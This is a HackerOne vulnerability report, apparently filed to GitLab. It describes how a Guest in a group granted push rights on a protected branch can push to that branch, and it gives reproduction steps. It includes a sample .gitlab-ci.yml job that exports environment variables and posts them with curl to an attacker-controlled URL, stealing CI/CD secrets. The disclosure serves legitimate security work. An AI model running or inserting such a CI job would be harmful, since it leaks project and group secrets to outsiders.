Unauthorized member can gain `Allowed to push and merge` access and affect integrity of protected branches
HackerOne report #2104540 by theluci on 2023-08-09, assigned to GitLab Team:
Report | Attachments | How To Reproduce
Report
Hello,
I found that when a group is granted Allowed to push and merge access to the protected branch of a project.
It is not checked whether the member gaining Allowed to push and merge access is atleast a Developer in the granted group. But only whether the member has a max role of Developer in the project or not.
Background
Gitlab provides a PREMIUM/ULTIMATE feature to grant specific groups or specific users Allowed to merge and Allowed to push and merge access on protected branches.
When a specific user is being granted Allowed to push and merge access.
Only users with atleast Developer role are shown and can be granted the above access.
Similarly, when a group is granted Allowed to push and merge access to the protected branch of a project.
Only the members of the group with atleast Developer role are granted the above access.
Vulnerability
When a group is granted Allowed to push and merge access to the protected branch of a project.
It is not checked whether the user gaining Allowed to push and merge access is atleast a Developer in the granted group.
It is only checked whether the user,
a) Is a member of the granted group
b) Has a maximum role of Developer in the project
Due to this the following Attack is possible,
-
victimis the Owner ofvictim-project. -
attackeris a Developer ofvictim-project. -
victimgoes tohttps://gitlab.com/<victim-group>/<victim-project>/-/project_membersand addsgranted-groupas Developer. -
victimgoes tohttps://gitlab.com/<victim-group>/<victim-project>/-/settings/repository, Expand Protected branches and grants Allowed to push and merge access togranted-group.
victim expects that only the members of the granted-group with atleast Developer role are granted the above access.
-
attackeris successful in joining thegranted-groupas a Guest.
As attacker and victim are already working on victim-project together, it will be quite easy and most possible for attacker to join granted-group as a Guest.
-
attackerautomatically gains Allowed to push and merge access on the protected branch.
victim has no idea that attacker has gained Allowed to push and merge access on the protected branch.
-
attackercan use this access to,a) Affect the integrity of the protected branch
b) Upload a malicious .gitlab-ci.yml file to leak the project and parent group’s CI/CD variables
Steps to reproduce
-
victimcreates a groupvictim-groupand activates Ultimate trial. -
victimcreates a projectvictim-projectinsidevictim-group. -
victimgoes tohttps://gitlab.com/<victim-group>/<victim-project>/-/project_membersand addsattackeras Developer. -
victimcreates a groupgranted-group. -
victimgoes togranted-groupmembership pagehttps://gitlab.com/groups/<granted-group>/-/group_membersand addsvictim-memberas Developer. -
victimgoes tovictim-projectmembership pagehttps://gitlab.com/<victim-group>/<victim-project>/-/project_membersand invitesgranted-groupas Developer. -
victimgoes tohttps://gitlab.com/<victim-group>/<victim-project>/-/settings/repository, Expand Protected branches and grants Allowed to push and merge access togranted-group.
victim expects that only the members of the granted-group with atleast Developer role are granted the above access.
-
victimgoes togranted-groupmembership pagehttps://gitlab.com/groups/<granted-group>/-/group_membersand addsattackeras Guest.
As attacker and victim are already working on victim-project together, it will be quite easy and most possible for attacker to join granted-group as a Guest.
-
attackerautomatically gains Allowed to push and merge access on the protected branch.
victim has no idea that attacker has gained Allowed to push and merge access on the protected branch.
-
attackercan use this access to affect the Integrity of the protected branch,
-
attackercan create a new file using the+symbol. -
attackermay choose to edit an existing file or delete an existing file.
-
attackercan also use this access to Upload a malicious .gitlab-ci.yml file with the following content,
job_name:
script:
- export > test.txt
- curl -X POST --data "$(cat test.txt)" attacker-controlled-url
To leak the project and parent group’s CI/CD variables affecting Confidentiality.
(While testing this make sure victim has added some CI/CD variables in victim-project and victim-group)
POC
Output of checks
This bug happens on GitLab.com (Probably on instance too).
Impact
Unauthorized member can gain Allowed to push and merge access on protected branches and use this access to,
- Affect the Integrity of the protected branches.
- Upload a malicious .gitlab-ci.yml file to leak the project and parent group’s CI/CD variables affecting Confidentiality.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section:


